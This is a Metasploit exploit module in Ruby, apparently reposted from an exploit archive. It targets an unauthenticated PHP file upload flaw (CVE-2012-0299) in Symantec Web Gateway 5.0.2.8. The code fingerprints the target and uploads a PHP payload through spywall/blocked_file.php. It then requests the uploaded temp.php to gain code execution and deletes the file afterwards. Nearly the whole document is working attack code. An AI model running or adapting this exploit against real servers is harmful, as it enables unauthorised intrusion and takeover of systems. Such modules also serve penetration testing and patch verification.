Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",
            'Description'    => %q{
                    This module exploits a file upload vulnerability found in Symantec Web Gateway's
                HTTP service. Due to the incorrect use of file extensions in the upload_file()
                function, this allows us to abuse the spywall/blocked_file.php file in order to
                upload a malicious PHP file without any authentication, which results in arbitrary
                code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Tenable Network Security', # Vulnerability Discovery
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-0299' ],
                    [ 'OSVDB', '82025' ],
                    [ 'BID', '53443' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ],
                    [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['Symantec Web Gateway 5.0.2.8', {}],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "May 17 2012",
            'DefaultTarget'  => 0))
    end
 
 
    def check
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => '/spywall/login.php'
        })
 
        if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
    def on_new_session(client)
        if client.type == "meterpreter"
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
            client.fs.file.rm("temp.php")
        else
            client.shell_command_token("rm temp.php")
        end
    end
 
    def exploit
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'
 
        peer = "#{rhost}:#{rport}"
        payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
        before_filename = rand_text_alpha(rand(10) + 5)
        after_filename = rand_text_alpha(rand(10) + 5)
 
        post_data = Rex::MIME::Message.new
        post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")
        post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")
        post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")
        post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")
 
        print_status("#{peer} - Sending PHP payload (#{payload_name})")
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{uri}spywall/blocked_file.php",
            'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
            'data'   => post_data.to_s
        })
 
        # If the server returns 200 and the body contains the name
        # of the default file, we assume we uploaded the malicious
        # file successfully
        if not res or res.code != 200 or res.body !~ /temp.php/
            print_error("#{peer} - File wasn't uploaded, aborting!")
            return
        end
 
        print_status("#{peer} - Executing PHP payload (#{payload_name})")
        # Execute our payload
        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => "#{uri}spywall/images/upload/temp/temp.php"
        })
 
        # If we don't get a 200 when we request our malicious payload, we suspect
        # we don't have a shell, either.  Print the status code for debugging purposes.
        if res and res.code != 200
            print_status("#{peer} - Server returned #{res.code.to_s}")
        end
    end
 
end



#  0day.today [2018-01-03]  #